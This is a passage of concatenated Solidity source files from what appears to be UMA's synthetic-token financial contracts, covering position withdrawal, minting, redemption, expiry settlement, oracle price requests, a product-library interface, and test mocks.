* @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and waiting
* `withdrawalLiveness`), withdraws `positionData.withdrawalRequestAmount` of collateral currency.
* @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested
* amount exceeds the collateral in the position (due to paying fees).
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdrawPassedRequest()
external
onlyPreExpiration()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
positionData.withdrawalRequestPassTimestamp != 0 &&
positionData.withdrawalRequestPassTimestamp <= getCurrentTime()
);
// If withdrawal request amount is > position collateral, then withdraw the full collateral amount.
// This situation is possible due to fees charged since the withdrawal was originally requested.
FixedPoint.Unsigned memory amountToWithdraw = positionData.withdrawalRequestAmount;
if (positionData.withdrawalRequestAmount.isGreaterThan(_getFeeAdjustedCollateral(positionData.rawCollateral))) {
amountToWithdraw = _getFeeAdjustedCollateral(positionData.rawCollateral);
}
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, amountToWithdraw);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
// Transfer approved withdrawal amount from the contract to the caller.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
emit RequestWithdrawalExecuted(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Cancels a pending withdrawal request.
*/
function cancelWithdrawal() external nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.withdrawalRequestPassTimestamp != 0);
emit RequestWithdrawalCanceled(msg.sender, positionData.withdrawalRequestAmount.rawValue);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
}
/**
* @notice Creates tokens by creating a new position or by augmenting an existing position. Pulls `collateralAmount` into the sponsor's position and mints `numTokens` of `tokenCurrency`.
* @dev Reverts if minting these tokens would put the position's collateralization ratio below the
* global collateralization ratio. This contract must be approved to spend at least `collateralAmount` of
* `collateralCurrency`.
* @dev This contract must have the Minter role for the `tokenCurrency`.
* @param collateralAmount is the number of collateral tokens to collateralize the position with
* @param numTokens is the number of tokens to mint from the position.
*/
function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens)
public
onlyPreExpiration()
fees()
nonReentrant()
{
PositionData storage positionData = positions[msg.sender];
// Either the new create ratio or the resultant position CR must be above the current GCR.
require(
(_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral).add(collateralAmount),
positionData.tokensOutstanding.add(numTokens)
) || _checkCollateralization(collateralAmount, numTokens)),
"Insufficient collateral"
);
require(positionData.withdrawalRequestPassTimestamp == 0, "Pending withdrawal");
if (positionData.tokensOutstanding.isEqual(0)) {
require(numTokens.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
emit NewSponsor(msg.sender);
}
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
// Add the number of tokens created to the position's outstanding tokens.
positionData.tokensOutstanding = positionData.tokensOutstanding.add(numTokens);
totalTokensOutstanding = totalTokensOutstanding.add(numTokens);
emit PositionCreated(msg.sender, collateralAmount.rawValue, numTokens.rawValue);
// Transfer tokens into the contract from caller and mint corresponding synthetic tokens to the caller's address.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
require(tokenCurrency.mint(msg.sender, numTokens.rawValue));
}
/**
* @notice Burns `numTokens` of `tokenCurrency` to decrease sponsors position size, without sending back `collateralCurrency`.
* This is done by a sponsor to increase position CR. Resulting size is bounded by minSponsorTokens.
* @dev Can only be called by token sponsor. This contract must be approved to spend `numTokens` of `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt from the sponsor's debt position.
*/
function repay(FixedPoint.Unsigned memory numTokens)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding));
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens));
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
emit Repay(msg.sender, numTokens.rawValue, newTokenCount.rawValue);
// Transfer the tokens back from the sponsor and burn them.
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice Burns `numTokens` of `tokenCurrency` and sends back the proportional amount of `collateralCurrency`.
* @dev Can only be called by a token sponsor. Might not redeem the full proportional amount of collateral
* in order to account for precision loss. This contract must be approved to spend at least `numTokens` of
* `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt for a commensurate amount of collateral.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function redeem(FixedPoint.Unsigned memory numTokens)
public
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(!numTokens.isGreaterThan(positionData.tokensOutstanding));
FixedPoint.Unsigned memory fractionRedeemed = numTokens.div(positionData.tokensOutstanding);
FixedPoint.Unsigned memory collateralRedeemed =
fractionRedeemed.mul(_getFeeAdjustedCollateral(positionData.rawCollateral));
// If redemption returns all tokens the sponsor has then we can delete their position. Else, downsize.
if (positionData.tokensOutstanding.isEqual(numTokens)) {
amountWithdrawn = _deleteSponsorPosition(msg.sender);
} else {
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, collateralRedeemed);
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
}
emit Redeem(msg.sender, amountWithdrawn.rawValue, numTokens.rawValue);
// Transfer collateral from contract to caller and burn callers synthetic tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice After a contract has passed expiry all token holders can redeem their tokens for underlying at the
* prevailing price defined by the DVM from the `expire` function.
* @dev This burns all tokens from the caller of `tokenCurrency` and sends back the proportional amount of
* `collateralCurrency`. Might not redeem the full proportional amount of collateral in order to account for
* precision loss. This contract must be approved to spend `tokenCurrency` at least up to the caller's full balance.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function settleExpired()
external
onlyPostExpiration()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
// If the contract state is open and onlyPostExpiration passed then `expire()` has not yet been called.
require(contractState != ContractState.Open, "Unexpired position");
// Get the current settlement price and store it. If it is not resolved will revert.
if (contractState != ContractState.ExpiredPriceReceived) {
expiryPrice = _getOraclePriceExpiration(expirationTimestamp);
contractState = ContractState.ExpiredPriceReceived;
}
// Get caller's tokens balance and calculate amount of underlying entitled to them.
FixedPoint.Unsigned memory tokensToRedeem = FixedPoint.Unsigned(tokenCurrency.balanceOf(msg.sender));
FixedPoint.Unsigned memory totalRedeemableCollateral = tokensToRedeem.mul(expiryPrice);
// If the caller is a sponsor with outstanding collateral they are also entitled to their excess collateral after their debt.
PositionData storage positionData = positions[msg.sender];
if (_getFeeAdjustedCollateral(positionData.rawCollateral).isGreaterThan(0)) {
// Calculate the underlying entitled to a token sponsor. This is collateral - debt in underlying.
FixedPoint.Unsigned memory tokenDebtValueInCollateral = positionData.tokensOutstanding.mul(expiryPrice);
FixedPoint.Unsigned memory positionCollateral = _getFeeAdjustedCollateral(positionData.rawCollateral);
// If the debt is greater than the remaining collateral, they cannot redeem anything.
FixedPoint.Unsigned memory positionRedeemableCollateral =
tokenDebtValueInCollateral.isLessThan(positionCollateral)
? positionCollateral.sub(tokenDebtValueInCollateral)
: FixedPoint.Unsigned(0);
// Add the number of redeemable tokens for the sponsor to their total redeemable collateral.
totalRedeemableCollateral = totalRedeemableCollateral.add(positionRedeemableCollateral);
// Reset the position state as all the value has been removed after settlement.
delete positions[msg.sender];
emit EndedSponsorPosition(msg.sender);
}
// Take the min of the remaining collateral and the collateral "owed". If the contract is undercapitalized,
// the caller will get as much collateral as the contract can pay out.
FixedPoint.Unsigned memory payout =
FixedPoint.min(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalRedeemableCollateral);
// Decrement total contract collateral and outstanding debt.
amountWithdrawn = _removeCollateral(rawTotalPositionCollateral, payout);
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRedeem);
emit SettleExpiredPosition(msg.sender, amountWithdrawn.rawValue, tokensToRedeem.rawValue);
// Transfer tokens & collateral and burn the redeemed tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensToRedeem.rawValue);
tokenCurrency.burn(tokensToRedeem.rawValue);
}
/****************************************
* GLOBAL STATE FUNCTIONS *
****************************************/
/**
* @notice Locks contract state in expired and requests oracle price.
* @dev this function can only be called once the contract is expired and can't be re-called.
*/
function expire() external onlyPostExpiration() onlyOpenState() fees() nonReentrant() {
contractState = ContractState.ExpiredPriceRequested;
// Final fees do not need to be paid when sending a request to the optimistic oracle.
_requestOraclePriceExpiration(expirationTimestamp);
emit ContractExpired(msg.sender);
}
/**
* @notice Premature contract settlement under emergency circumstances.
* @dev Only the governor can call this function as they are permissioned within the `FinancialContractAdmin`.
* Upon emergency shutdown, the contract settlement time is set to the shutdown time. This enables withdrawal
* to occur via the standard `settleExpired` function. Contract state is set to `ExpiredPriceRequested`
* which prevents re-entry into this function or the `expire` function. No fees are paid when calling
* `emergencyShutdown` as the governor who would call the function would also receive the fees.
*/
function emergencyShutdown() external override onlyPreExpiration() onlyOpenState() nonReentrant() {
require(msg.sender == _getFinancialContractsAdminAddress());
contractState = ContractState.ExpiredPriceRequested;
// Expiratory time now becomes the current time (emergency shutdown time).
// Price requested at this time stamp. `settleExpired` can now withdraw at this timestamp.
uint256 oldExpirationTimestamp = expirationTimestamp;
expirationTimestamp = getCurrentTime();
_requestOraclePriceExpiration(expirationTimestamp);
emit EmergencyShutdown(msg.sender, oldExpirationTimestamp, expirationTimestamp);
}
/**
* @notice Theoretically supposed to pay fees and move money between margin accounts to make sure they
* reflect the NAV of the contract. However, this functionality doesn't apply to this contract.
* @dev This is supposed to be implemented by any contract that inherits `AdministrateeInterface` and callable
* only by the Governor contract. This method is therefore minimally implemented in this contract and does nothing.
*/
function remargin() external override onlyPreExpiration() nonReentrant() {
return;
}
/**
* @notice Accessor method for a sponsor's collateral.
* @dev This is necessary because the struct returned by the positions() method shows
* rawCollateral, which isn't a user-readable value.
* @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for
* example if the `lastPaymentTime != currentTime`.
* @param sponsor address whose collateral amount is retrieved.
* @return collateralAmount amount of collateral within a sponsors position.
*/
function getCollateral(address sponsor) external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
// Note: do a direct access to avoid the validity check.
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral));
}
/**
* @notice Accessor method for the total collateral stored within the PricelessPositionManager.
* @return totalCollateral amount of all collateral within the Expiring Multi Party Contract.
* @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for
* example if the `lastPaymentTime != currentTime`.
*/
function totalPositionCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
/**
* @notice Accessor method to compute a transformed price using the finanicalProductLibrary specified at contract
* deployment. If no library was provided then no modification to the price is done.
* @param price input price to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice price with the transformation function applied to it.
* @dev This method should never revert.
*/
function transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return _transformPrice(price, requestTime);
}
/**
* @notice Accessor method to compute a transformed price identifier using the finanicalProductLibrary specified
* at contract deployment. If no library was provided then no modification to the identifier is done.
* @param requestTime timestamp the identifier is to be used at.
* @return transformedPrice price with the transformation function applied to it.
* @dev This method should never revert.
*/
function transformPriceIdentifier(uint256 requestTime) public view nonReentrantView() returns (bytes32) {
return _transformPriceIdentifier(requestTime);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Reduces a sponsor's position and global counters by the specified parameters. Handles deleting the entire
// position if the entire position is being removed. Does not make any external transfers.
function _reduceSponsorPosition(
address sponsor,
FixedPoint.Unsigned memory tokensToRemove,
FixedPoint.Unsigned memory collateralToRemove,
FixedPoint.Unsigned memory withdrawalAmountToRemove
) internal {
PositionData storage positionData = _getPositionData(sponsor);
// If the entire position is being removed, delete it instead.
if (
tokensToRemove.isEqual(positionData.tokensOutstanding) &&
_getFeeAdjustedCollateral(positionData.rawCollateral).isEqual(collateralToRemove)
) {
_deleteSponsorPosition(sponsor);
return;
}
// Decrement the sponsor's collateral and global collateral amounts.
_decrementCollateralBalances(positionData, collateralToRemove);
// Ensure that the sponsor will meet the min position size after the reduction.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(tokensToRemove);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
positionData.tokensOutstanding = newTokenCount;
// Decrement the position's withdrawal amount.
positionData.withdrawalRequestAmount = positionData.withdrawalRequestAmount.sub(withdrawalAmountToRemove);
// Decrement the total outstanding tokens in the overall contract.
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRemove);
}
// Deletes a sponsor's position and updates global counters. Does not make any external transfers.
function _deleteSponsorPosition(address sponsor) internal returns (FixedPoint.Unsigned memory) {
PositionData storage positionToLiquidate = _getPositionData(sponsor);
FixedPoint.Unsigned memory startingGlobalCollateral = _getFeeAdjustedCollateral(rawTotalPositionCollateral);
// Remove the collateral and outstanding from the overall total position.
FixedPoint.Unsigned memory remainingRawCollateral = positionToLiquidate.rawCollateral;
rawTotalPositionCollateral = rawTotalPositionCollateral.sub(remainingRawCollateral);
totalTokensOutstanding = totalTokensOutstanding.sub(positionToLiquidate.tokensOutstanding);
// Reset the sponsors position to have zero outstanding and collateral.
delete positions[sponsor];
emit EndedSponsorPosition(sponsor);
// Return fee-adjusted amount of collateral deleted from position.
return startingGlobalCollateral.sub(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalPositionCollateral);
}
function _getPositionData(address sponsor)
internal
view
onlyCollateralizedPosition(sponsor)
returns (PositionData storage)
{
return positions[sponsor];
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
function _getOracle() internal view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getOptimisticOracle() internal view returns (OptimisticOracleInterface) {
return OptimisticOracleInterface(finder.getImplementationAddress(OracleInterfaces.OptimisticOracle));
}
function _getFinancialContractsAdminAddress() internal view returns (address) {
return finder.getImplementationAddress(OracleInterfaces.FinancialContractsAdmin);
}
// Requests a price for transformed `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePriceExpiration(uint256 requestedTime) internal {
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
// Increase token allowance to enable the optimistic oracle reward transfer.
FixedPoint.Unsigned memory reward = _computeFinalFees();
collateralCurrency.safeIncreaseAllowance(address(optimisticOracle), reward.rawValue);
optimisticOracle.requestPrice(
_transformPriceIdentifier(requestedTime),
requestedTime,
_getAncillaryData(),
collateralCurrency,
reward.rawValue // Reward is equal to the final fee
);
// Apply haircut to all sponsors by decrementing the cumlativeFeeMultiplier by the amount lost from the final fee.
_adjustCumulativeFeeMultiplier(reward, _pfc());
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePriceExpiration(uint256 requestedTime) internal returns (FixedPoint.Unsigned memory) {
// Create an instance of the oracle and get the price. If the price is not resolved revert.
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
require(
optimisticOracle.hasPrice(
address(this),
_transformPriceIdentifier(requestedTime),
requestedTime,
_getAncillaryData()
)
);
int256 optimisticOraclePrice =
optimisticOracle.settleAndGetPrice(
_transformPriceIdentifier(requestedTime),
requestedTime,
_getAncillaryData()
);
// For now we don't want to deal with negative prices in positions.
if (optimisticOraclePrice < 0) {
optimisticOraclePrice = 0;
}
return _transformPrice(FixedPoint.Unsigned(uint256(optimisticOraclePrice)), requestedTime);
}
// Requests a price for transformed `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePriceLiquidation(uint256 requestedTime) internal {
OracleInterface oracle = _getOracle();
oracle.requestPrice(_transformPriceIdentifier(requestedTime), requestedTime);
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePriceLiquidation(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) {
// Create an instance of the oracle and get the price. If the price is not resolved revert.
OracleInterface oracle = _getOracle();
require(oracle.hasPrice(_transformPriceIdentifier(requestedTime), requestedTime), "Unresolved oracle price");
int256 oraclePrice = oracle.getPrice(_transformPriceIdentifier(requestedTime), requestedTime);
// For now we don't want to deal with negative prices in positions.
if (oraclePrice < 0) {
oraclePrice = 0;
}
return _transformPrice(FixedPoint.Unsigned(uint256(oraclePrice)), requestedTime);
}
// Reset withdrawal request by setting the withdrawal request and withdrawal timestamp to 0.
function _resetWithdrawalRequest(PositionData storage positionData) internal {
positionData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0);
positionData.withdrawalRequestPassTimestamp = 0;
}
// Ensure individual and global consistency when increasing collateral balances. Returns the change to the position.
function _incrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_addCollateral(positionData.rawCollateral, collateralAmount);
return _addCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the
// position. We elect to return the amount that the global collateral is decreased by, rather than the individual
// position's collateral, because we need to maintain the invariant that the global collateral is always
// <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn.
function _decrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the position.
// This function is similar to the _decrementCollateralBalances function except this function checks position GCR
// between the decrements. This ensures that collateral removal will not leave the position undercollateralized.
function _decrementCollateralBalancesCheckGCR(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
require(_checkPositionCollateralization(positionData), "CR below GCR");
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _onlyOpenState() internal view {
require(contractState == ContractState.Open, "Contract state is not OPEN");
}
function _onlyPreExpiration() internal view {
require(getCurrentTime() < expirationTimestamp, "Only callable pre-expiry");
}
function _onlyPostExpiration() internal view {
require(getCurrentTime() >= expirationTimestamp, "Only callable post-expiry");
}
function _onlyCollateralizedPosition(address sponsor) internal view {
require(
_getFeeAdjustedCollateral(positions[sponsor].rawCollateral).isGreaterThan(0),
"Position has no collateral"
);
}
// Note: This checks whether an already existing position has a pending withdrawal. This cannot be used on the
// `create` method because it is possible that `create` is called on a new position (i.e. one without any collateral
// or tokens outstanding) which would fail the `onlyCollateralizedPosition` modifier on `_getPositionData`.
function _positionHasNoPendingWithdrawal(address sponsor) internal view {
require(_getPositionData(sponsor).withdrawalRequestPassTimestamp == 0, "Pending withdrawal");
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
function _checkPositionCollateralization(PositionData storage positionData) private view returns (bool) {
return
_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral),
positionData.tokensOutstanding
);
}
// Checks whether the provided `collateral` and `numTokens` have a collateralization ratio above the global
// collateralization ratio.
function _checkCollateralization(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
view
returns (bool)
{
FixedPoint.Unsigned memory global =
_getCollateralizationRatio(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalTokensOutstanding);
FixedPoint.Unsigned memory thisChange = _getCollateralizationRatio(collateral, numTokens);
return !global.isGreaterThan(thisChange);
}
function _getCollateralizationRatio(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
pure
returns (FixedPoint.Unsigned memory ratio)
{
if (!numTokens.isGreaterThan(0)) {
return FixedPoint.fromUnscaledUint(0);
} else {
return collateral.div(numTokens);
}
}
// IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method,
// which is possible since the method is only an OPTIONAL method in the ERC20 standard:
// https://eips.ethereum.org/EIPS/eip-20#methods.
function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) {
try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) {
return _decimals;
} catch {
return 18;
}
}
function _transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime)
internal
view
returns (FixedPoint.Unsigned memory)
{
if (!address(financialProductLibrary).isContract()) return price;
try financialProductLibrary.transformPrice(price, requestTime) returns (
FixedPoint.Unsigned memory transformedPrice
) {
return transformedPrice;
} catch {
return price;
}
}
function _transformPriceIdentifier(uint256 requestTime) internal view returns (bytes32) {
if (!address(financialProductLibrary).isContract()) return priceIdentifier;
try financialProductLibrary.transformPriceIdentifier(priceIdentifier, requestTime) returns (
bytes32 transformedIdentifier
) {
return transformedIdentifier;
} catch {
return priceIdentifier;
}
}
function _getAncillaryData() internal view returns (bytes memory) {
// Note: when ancillary data is passed to the optimistic oracle, it should be tagged with the token address
// whose funding rate it's trying to get.
return abi.encodePacked(address(tokenCurrency));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ERC20 interface that includes the decimals read only method.
*/
interface IERC20Standard is IERC20 {
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5,05`
* (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value
* {ERC20} uses, unless {_setupDecimals} is called.
*
* NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic
* of the contract, including {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() external view returns (uint8);
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../../common/implementation/FixedPoint.sol";
interface ExpiringContractInterface {
function expirationTimestamp() external view returns (uint256);
}
/**
* @title Financial product library contract
* @notice Provides price and collateral requirement transformation interfaces that can be overridden by custom
* Financial product library implementations.
*/
abstract contract FinancialProductLibrary {
using FixedPoint for FixedPoint.Unsigned;
/**
* @notice Transforms a given oracle price using the financial product libraries transformation logic.
* @param oraclePrice input price returned by the DVM to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedOraclePrice input oraclePrice with the transformation function applied.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
virtual
returns (FixedPoint.Unsigned memory)
{
return oraclePrice;
}
/**
* @notice Transforms a given collateral requirement using the financial product libraries transformation logic.
* @param oraclePrice input price returned by DVM used to transform the collateral requirement.
* @param collateralRequirement input collateral requirement to be transformed.
* @return transformedCollateralRequirement input collateral requirement with the transformation function applied.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view virtual returns (FixedPoint.Unsigned memory) {
return collateralRequirement;
}
/**
* @notice Transforms a given price identifier using the financial product libraries transformation logic.
* @param priceIdentifier input price identifier defined for the financial contract.
* @param requestTime timestamp the identifier is to be used at. EG the time that a price request would be sent using this identifier.
* @return transformedPriceIdentifier input price identifier with the transformation function applied.
*/
function transformPriceIdentifier(bytes32 priceIdentifier, uint256 requestTime)
public
view
virtual
returns (bytes32)
{
return priceIdentifier;
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../common/financial-product-libraries/FinancialProductLibrary.sol";
// Implements a simple FinancialProductLibrary to test price and collateral requirement transoformations.
contract FinancialProductLibraryTest is FinancialProductLibrary {
FixedPoint.Unsigned public priceTransformationScalar;
FixedPoint.Unsigned public collateralRequirementTransformationScalar;
bytes32 public transformedPriceIdentifier;
bool public shouldRevert;
constructor(
FixedPoint.Unsigned memory _priceTransformationScalar,
FixedPoint.Unsigned memory _collateralRequirementTransformationScalar,
bytes32 _transformedPriceIdentifier
) public {
priceTransformationScalar = _priceTransformationScalar;
collateralRequirementTransformationScalar = _collateralRequirementTransformationScalar;
transformedPriceIdentifier = _transformedPriceIdentifier;
}
// Set the mocked methods to revert to test failed library computation.
function setShouldRevert(bool _shouldRevert) public {
shouldRevert = _shouldRevert;
}
// Create a simple price transformation function that scales the input price by the scalar for testing.
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
returns (FixedPoint.Unsigned memory)
{
require(!shouldRevert, "set to always reverts");
return oraclePrice.mul(priceTransformationScalar);
}
// Create a simple collateral requirement transformation that doubles the input collateralRequirement.
function transformCollateralRequirement(
FixedPoint.Unsigned memory price,
FixedPoint.Unsigned memory collateralRequirement
) public view override returns (FixedPoint.Unsigned memory) {
require(!shouldRevert, "set to always reverts");
return collateralRequirement.mul(collateralRequirementTransformationScalar);
}
// Create a simple transformPriceIdentifier function that returns the transformed price identifier.
function transformPriceIdentifier(bytes32 priceIdentifier, uint256 requestTime)
public
view
override
returns (bytes32)
{
require(!shouldRevert, "set to always reverts");
return transformedPriceIdentifier;
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Testable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../common/financial-product-libraries/FinancialProductLibrary.sol";
contract ExpiringMultiPartyMock is Testable {
using FixedPoint for FixedPoint.Unsigned;
FinancialProductLibrary public financialProductLibrary;
uint256 public expirationTimestamp;
FixedPoint.Unsigned public collateralRequirement;
bytes32 public priceIdentifier;
constructor(
address _financialProductLibraryAddress,
uint256 _expirationTimestamp,
FixedPoint.Unsigned memory _collateralRequirement,
bytes32 _priceIdentifier,
address _timerAddress
) public Testable(_timerAddress) {
expirationTimestamp = _expirationTimestamp;
collateralRequirement = _collateralRequirement;
financialProductLibrary = FinancialProductLibrary(_financialProductLibraryAddress);
priceIdentifier = _priceIdentifier;
}
function transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime)
public
view
returns (FixedPoint.Unsigned memory)
{
if (address(financialProductLibrary) == address(0)) return price;
try financialProductLibrary.transformPrice(price, requestTime) returns (
FixedPoint.Unsigned memory transformedPrice
) {
return transformedPrice;
} catch {
return price;
}
}
function transformCollateralRequirement(FixedPoint.Unsigned memory price)
public
view
returns (FixedPoint.Unsigned memory)
{
if (address(financialProductLibrary) == address(0)) return collateralRequirement;
try financialProductLibrary.transformCollateralRequirement(price, collateralRequirement) returns (
FixedPoint.Unsigned memory transformedCollateralRequirement
) {
return transformedCollateralRequirement;
} catch {
return collateralRequirement;
}
}
function transformPriceIdentifier(uint256 requestTime) public view returns (bytes32) {
if (address(financialProductLibrary) == address(0)) return priceIdentifier;
try financialProductLibrary.transformPriceIdentifier(priceIdentifier, requestTime) returns (
bytes32 transformedIdentifier
) {
return transformedIdentifier;
} catch {
return priceIdentifier;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/VotingAncillaryInterface.sol";
// A mock oracle used for testing. Exports the voting & oracle interfaces and events that contain ancillary data.
abstract contract VotingAncillaryInterfaceTesting is OracleAncillaryInterface, VotingAncillaryInterface, Testable {
using FixedPoint for FixedPoint.Unsigned;
// Events, data structures and functions not exported in the base interfaces, used for testing.
event VoteCommitted(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData
);
event EncryptedVote(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
bytes encryptedVote
);
event VoteRevealed(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData,
uint256 numTokens
);
event RewardsRetrieved(
address indexed voter,
uint256 indexed roundId,
